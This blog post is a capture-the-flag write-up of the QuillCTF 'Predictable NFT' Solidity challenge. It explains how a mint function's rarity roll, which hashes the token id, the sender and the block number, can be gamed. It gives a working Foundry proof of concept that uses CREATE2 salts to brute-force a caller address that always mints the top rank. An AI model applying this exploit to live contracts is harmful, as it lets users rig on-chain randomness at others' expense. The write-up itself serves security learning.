Skip to main content

One post tagged with "forge"

View All Tags

· 5 min read
Kaan Caglan

Predictable NFT is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, we don't have any contract. There is only one foundry setUp file. Contract is deployed on goerli test network.

Etherscan URL

However since code is not verified, we can not see the code.

Objective of CTF is

In this game, you can spend 1 ether to "mint" an NFT token with 3 possible ranks: Common(1), Rare(2), and Superior(3). As a hacker, your goal is to always mint the Superior ones.

So we need to mint a token with rank Superior. If take a look to the decompiled code it can be seen that

function mint() public payable { 
require(0xde0b6b3a7640000 == msg.value, Error('show me the money'));
require(_id <= 1 + _id, Panic(17)); // arithmetic overflow or underflow
_id += 1;
require(100, Panic(18)); // division by zero
if (keccak256(_id, msg.sender, block.number) % 100 <= 90) {
if (keccak256(_id, msg.sender, block.number) % 100 <= 80) {
v0 = v1 = 1;
} else {
v0 = v2 = 2;
}
} else {
v0 = v3 = 3;
}
_tokens[_id] = v0;
return _id;
}

mint() function is expecting us to give 0xde0b6b3a7640000 amount as msg.value, which is 1 ether to call that function. And for the rank part there is a keccak256 hashing and then it checks modulo 100 for that one to calculate the reward. So if we want to mint superior tokens somehow we need to make that keccak256 % 100 statement return more than 90. That statement is calculating 3 things together. _id of the token, msg.sender and also the block.number. It is not possible for us to play with block.number or _id because they will be updated in every call and our goal is to mint superior tokens all the time. We can only play with the msg.sender value.

If we take a look to the foundry setup

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8.19;

import "forge-std/Test.sol";

contract PredictableNFTTest is Test {
address nft;

address hacker = address(0x1234);

function setUp() public {
vm.createSelectFork("goerli");
vm.deal(hacker, 1 ether);
nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC);
}

function test() public {
vm.startPrank(hacker);
uint mintedId;
uint currentBlockNum = block.number;

// Mint a Superior one, and do it within the next 100 blocks.
for(uint i=0; i<100; i++) {
vm.roll(currentBlockNum);

// ---- hacking time ----

currentBlockNum++;
}

// get rank from `mapping(tokenId => rank)`
(, bytes memory ret) = nft.call(abi.encodeWithSignature(
"tokens(uint256)",
mintedId
));
uint mintedRank = uint(bytes32(ret));
assertEq(mintedRank, 3, "not Superior(rank != 3)");
}
}

It can be also seen that our hacker accounts address is 0x1234 and we can't use any other address. However mint function doesn't have any contract control. So it means we can call that function from a smart contract. We can deploy a smart contract with using the salt value. The salt value is used in the deployment process to generate a deterministic address for the new contract instance. The address of the contract is determined by hashing together the creator address, the salt value, and the contract creation code. Since the salt value is different for each contract instance, each instance will have a different address.

With the help of salt we can create bunch of different smart contracts and check if their address is valid for current block.number and _id.

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8.19;

import "forge-std/Test.sol";

interface IPredictableNFT {
function mint() external payable;
}

contract AttackContract {
address nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC);

function attack() public payable returns(uint256){
(, bytes memory ret2) = nft.call{value: msg.value}(abi.encodeWithSignature(
"mint()"
));
return uint256(bytes32(ret2));
}

}
contract Create2Factory {
event Deploy(address addr);

function createContract(uint256 id) public payable returns(uint256){
for(uint256 i; i < 200; i++){
AttackContract _contract = new AttackContract{
salt: bytes32(i) // the number of salt determines the address of the contract that will be deployed
}();
if(isValid(address(_contract), id)){
return _contract.attack{value: msg.value}();
}
}
revert("Couldn't found");
}

function isValid(address testAddr, uint256 _id) public view returns (bool) {
return uint256(keccak256(abi.encode(_id, testAddr, block.number))) % 100 >= 90;
}
}

contract PredictableNFTTest is Test {
address nft;

address hacker = address(0x1234);

function setUp() public {
vm.createSelectFork("goerli");
vm.deal(hacker, 1 ether);
nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC);
}

function test() public {
vm.startPrank(hacker);
uint mintedId=0;
uint currentBlockNum = block.number;

// Mint a Superior one, and do it within the next 100 blocks.
Create2Factory factory = new Create2Factory();
for(uint i=0; i<100; i++) {
vm.roll(currentBlockNum);

if(mintedId == 0){
(bool success, bytes memory ret3) = nft.call(abi.encodeWithSignature(
"id()"
));
uint256 currentId = uint256(bytes32(ret3)) + 1;
mintedId = factory.createContract{value: 1e18}(currentId);
break;
}

currentBlockNum++;
}

// get rank from `mapping(tokenId => rank)`
(, bytes memory ret) = nft.call(abi.encodeWithSignature(
"tokens(uint256)",
mintedId
));
uint mintedRank = uint(bytes32(ret));
assertEq(mintedRank, 3, "not Superior(rank != 3)");
}
}
> forge test      
[] Compiling...
No files changed, compilation skipped

Running 1 test for test/PredictableNFTTest.t.sol:PredictableNFTTest
[PASS] test() (gas: 725097)
Test result: ok. 1 passed; 0 failed; finished in 1.04s